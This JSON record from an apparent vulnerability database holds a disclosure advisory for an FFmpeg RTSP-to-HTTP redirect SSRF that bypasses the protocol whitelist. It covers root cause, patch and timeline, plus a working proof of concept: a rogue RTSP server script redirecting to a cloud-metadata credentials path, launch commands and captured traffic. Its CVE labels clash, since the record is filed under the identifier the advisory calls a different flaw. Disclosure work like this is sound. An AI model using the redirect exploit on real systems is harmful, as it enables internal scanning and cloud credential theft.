{"vulnerability": "cve-2026-3693", "sightings": [{"uuid": "09bc7514-d8cd-404f-96db-706bb1aa05c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36934", "type": "seen", "source": "https://gist.github.com/OxBat/67c10534910e1409e04ae923c38fca2b", "content": "# FFmpeg SSRF &amp; Protocol Smuggling via RTSP-to-HTTP Redirection (libavformat/rtsp.c)\n\n**CVE:** Pending  \n**Severity:** High  \n**CVSS 3.1:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N` \u2014 **7.2 High**  \n**Patch:** [FFmpeg PR #22292](https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/22292) \u2014 Commit `ea9e85e549`\n\n---\n\n## 1. Vulnerability Overview\n\n| Field | Value |\n|---|---|\n| **Product** | FFmpeg |\n| **Component** | `libavformat/rtsp.c` \u2014 `ff_rtsp_connect()` |\n| **Type** | Server-Side Request Forgery (SSRF) / Protocol Confusion |\n| **CWE** | CWE-918 (SSRF), CWE-436 (Interpretation Conflict) |\n| **Affected Versions** | All versions prior to commit `ea9e85e549` (incl. FFmpeg 7.1) |\n| **Fixed In** | FFmpeg master \u2014 milestone FFmpeg 8.1 |\n\nA logic flaw in `ff_rtsp_connect` (libavformat/rtsp.c) fails to validate the protocol scheme when following RTSP 3xx redirect responses. An attacker-controlled RTSP server can redirect FFmpeg to an arbitrary HTTP endpoint \u2014 including cloud metadata services (`169.254.169.254`) or internal APIs \u2014 while FFmpeg continues to send RTSP payloads to the target.\n\n**Critical distinction:** The attack succeeds even when `http` is explicitly removed from `-protocol_whitelist`, rendering FFmpeg's built-in security control ineffective. A user cannot mitigate this via configuration \u2014 it requires a code fix.\n\n&gt; This is a **distinct vulnerability** from CVE-2026-36934 (HTTP\u2192RTSP in `libavformat/http.c`). Different component, different function, different exploit vector.\n\n---\n\n## 2. CVSS 3.1 Justification\n\n**Vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N`  \n**Score:** 7.2 High\n\n| Metric | Value | Rationale |\n|---|---|---|\n| **AV** | N | Attack performed remotely via a malicious RTSP server |\n| **AC** | L | No race conditions or special setup required; a raw TCP socket responding with a 302 is sufficient |\n| **PR** | N | No authentication required on the victim FFmpeg instance |\n| **UI** | N | In common production deployments (SaaS video platforms, cloud NVR, automated transcoding pipelines), FFmpeg processes RTSP URLs without any human interaction |\n| **S** | C | FFmpeg's authorization boundary is fetching a media stream; by following the redirect it reaches internal services entirely outside that boundary |\n| **C** | L | This is a **Blind SSRF**: FFmpeg connects to internal targets and receives responses, but the attacker does not directly read those responses. Impact is internal port scanning via timing analysis. If the backend application reflects FFmpeg error logs or verbose output to the attacker, extraction of IAM credentials becomes possible (Reflected SSRF) |\n| **I** | L | RTSP verbs (`OPTIONS`, `DESCRIBE`) are injected into non-RTSP internal services. Text-based protocols (Redis, Memcached, unauthenticated REST APIs) may interpret these as commands, causing unintended state changes |\n| **A** | N | No denial of service demonstrated |\n\n---\n\n## 3. Root Cause Analysis\n\nThe vulnerability is located at the `redirect:` label within the `ff_rtsp_connect` function in `libavformat/rtsp.c`. \n\nWhen a 3xx redirect is received, FFmpeg updates the URL and jumps back to the `redirect:` label. The code extracts the new protocol scheme (`proto`) via `av_url_split()`. The subsequent `if/else if` chain handles `rtsps` and `satip` protocols, but **fails to handle unexpected schemes**. Any other scheme (such as `http`) silently falls through the condition without triggering an error, allowing FFmpeg to proceed and establish a TCP connection to the attacker-directed target.\n\n### Vulnerable Code (`libavformat/rtsp.c`)\n\n```c\nredirect:\n    memset(&amp;reply1, 0, sizeof(reply1));\n    /* extract hostname and port */\n    av_url_split(proto, sizeof(proto), auth, sizeof(auth),\n                 host, sizeof(host), &amp;port, path, sizeof(path), s-&gt;url);\n\n    if (!strcmp(proto, \"rtsps\")) {\n        lower_rtsp_proto         = \"tls\";\n        default_port             = RTSPS_DEFAULT_PORT;\n        rt-&gt;lower_transport_mask = 1 &lt;&lt; RTSP_LOWER_TRANSPORT_TCP;\n    } else if (!strcmp(proto, \"satip\")) {\n        av_strlcpy(proto, \"rtsp\", sizeof(proto));\n        rt-&gt;server_type = RTSP_SERVER_SATIP;\n    }\n    // VULNERABILITY: If 'proto' is \"http\", it silently falls through.\n    // No validation blocks non-RTSP schemes here.\n\n    if (*auth) {\n        av_strlcpy(rt-&gt;auth, auth, sizeof(rt-&gt;auth));\n    }\n    \n    // ... Execution continues ...\n    // FFmpeg eventually opens a TCP connection to the redirect target.\n ```\n\n---\n\n## 4. Security Impact\n\n### Impact Summary\n\n| Scenario | Description | Severity |\n|---|---|---|\n| **Internal Port Scanning** | Map internal network services behind firewalls via timing analysis | High |\n| **Protocol Whitelist Bypass** | Attack succeeds with `-protocol_whitelist \"rtsp,rtp,udp,tcp\"` | High |\n| **Protocol Smuggling** | RTSP verbs injected into Redis, Memcached, REST APIs | Medium |\n| **Cloud Credential Theft** | Blind SSRF to `169.254.169.254`; credentials readable only if backend reflects FFmpeg logs | High (if Reflected) |\n\n### 1. Protocol Whitelist Bypass\n\nThis is the most critical aspect of this vulnerability. Running:\n\n```bash\n./ffmpeg -protocol_whitelist \"rtsp,rtp,udp,tcp\" -i rtsp://attacker/stream -f null -\n```\n\nStill connects to the HTTP target. Since RTSP relies on `tcp` for transport, removing `http` from the whitelist does not prevent the redirect from being followed. **The security control is entirely bypassed.**\n\n### 2. Blind SSRF &amp; Internal Port Scanning\n\nFFmpeg establishes TCP connections to internal services unreachable from outside. While this is a Blind SSRF (the attacker does not directly read responses), internal port availability can be inferred via timing differences. In environments where FFmpeg error output is logged and exposed to the requester (common in SaaS video processing APIs), this escalates to a Reflected SSRF.\n\n### 3. Cloud Credential Theft (Reflected SSRF scenario)\n\nFFmpeg is redirected to `http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The AWS metadata service returns IAM credentials to the FFmpeg process. In the Blind SSRF case, these credentials remain in FFmpeg's memory and are discarded. However, if the backend application surfaces FFmpeg's verbose output or error messages to the attacker (e.g., via an API response or log stream), full credential extraction is possible, enabling cloud account compromise.\n\n### 4. Protocol Smuggling\n\nRTSP verbs (`OPTIONS`, `DESCRIBE`) are sent to non-RTSP services. Text-based protocols such as Redis or Memcached may interpret these as commands, causing log pollution or unintended data interactions.\n\n---\n\n## 5. Proof of Concept\n\n### Architecture\n\n```\n[Attacker RTSP Server :8554]\n        |\n        | RTSP/1.0 302 Redirect\n        | Location: http://127.0.0.1:8080/latest/meta-data/\n        v\n[FFmpeg Client]\n        |\n        | Connects via TCP to :8080\n        | Sends RTSP OPTIONS to HTTP target\n        v\n[Internal Target :8080]\n  (AWS Metadata / Redis / Internal API)\n```\n\n### Step 1 \u2014 Fake AWS Metadata Server (`fake_aws.py`)\n\n```python\nimport http.server, socketserver\n\nPORT = 8080\n\nclass AWSHandler(http.server.SimpleHTTPRequestHandler):\n    def do_OPTIONS(self):\n        print(f\"[!] RECEIVED RTSP OPTIONS REQUEST to {self.path}\")\n        self.send_response(400)\n        self.end_headers()\n\n    def do_GET(self):\n        if \"security-credentials\" in self.path:\n            self.send_response(200)\n            self.end_headers()\n            self.wfile.write(b'{\"AccessKeyId\":\"AKIAIOSFODNN7EXAMPLE\",\"SecretAccessKey\":\"REDACTED\"}')\n\nwith socketserver.TCPServer((\"\", PORT), AWSHandler) as httpd:\n    print(f\"[*] Fake AWS Metadata listening on :{PORT}\")\n    httpd.serve_forever()\n```\n\n### Step 2 \u2014 Rogue RTSP Server (`rogue_rtsp.py`)\n\n```python\nimport socket\n\nTARGET = \"http://127.0.0.1:8080/latest/meta-data/iam/security-credentials/role\"\n\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n    s.bind(('0.0.0.0', 8554))\n    s.listen()\n    print(f\"[*] Rogue RTSP Server on :8554 \u2014 redirecting to {TARGET}\")\n    while True:\n        conn, addr = s.accept()\n        with conn:\n            conn.recv(1024)\n            conn.sendall((\n                \"RTSP/1.0 302 Moved Temporarily\\r\\n\"\n                \"CSeq: 1\\r\\n\"\n                f\"Location: {TARGET}\\r\\n\\r\\n\"\n            ).encode())\n```\n\n### Step 3 \u2014 Execute\n\n```bash\n# Scenario 1: Default usage\n./ffmpeg -i rtsp://127.0.0.1:8554/stream -f null -\n\n# Scenario 2: Hardened config \u2014 whitelist bypass\n./ffmpeg -protocol_whitelist \"rtsp,rtp,udp,tcp\" -i rtsp://127.0.0.1:8554/stream -f null -\n```\n\n### Step 4 \u2014 Network Capture (Smoking Gun)\n\n```bash\nsudo tcpdump -i lo -A port 8080\n```\n\n**Captured output \u2014 FFmpeg sending RTSP verbs to the HTTP target:**\n\n```\nOPTIONS http://127.0.0.1:8080/latest/meta-data/iam/security-credentials/role RTSP/1.0\nCSeq: 1\nUser-Agent: Lavf62.8.102\n```\n\nBoth scenarios produce identical output, confirming the whitelist bypass.\n\n---\n\n## 6. Remediation\n\n**Patch PR:** https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/22292  \n**Commit:** `ea9e85e549`  \n**Milestone:** FFmpeg 8.1  \n\n```diff\n} else if (!strcmp(proto, \"satip\")) {\n          av_strlcpy(proto, \"rtsp\", sizeof(proto));\n          rt-&gt;server_type = RTSP_SERVER_SATIP;\n-     }\n+     } else if (strcmp(proto, \"rtsp\"))\n+         return AVERROR_INVALIDDATA;\n```\n\n## 7. Timeline\n\n| Date | Event |\n|---|---|\n| 2026-01-06 | Reported to FFmpeg via YesWeHack (YWH-PGM40646-41) |\n| 2026-01-21 | FFmpeg acknowledges, begins triage |\n| 2026-02-26 | Patch PR #22292 opened by Michael Niedermayer |\n| 2026-02-26 | Patch merged into FFmpeg master (FFmpeg 8.1) |\n| 2026-06-09 | CVE requested to MITRE |\n\n---\n\n## 8. References\n\n- Patch PR: https://code.ffmpeg.org/FFmpeg/FFmpeg/pulls/22292\n- Patch Commit: https://git.ffmpeg.org/gitweb/ffmpeg.git/commit/ea9e85e549\n- CVE-Log Mailing List : https://lists.ffmpeg.org/archives/list/ffmpeg-cvslog@ffmpeg.org/message/REXLIL26QLGKRQWLU6NU3P327C7HIUXH/\n- Related CVE: CVE-2026-36934 (HTTP\u2192RTSP, `libavformat/http.c`) \u2014 distinct vulnerability\n", "creation_timestamp": "2026-06-09T22:15:53.000000Z"}]}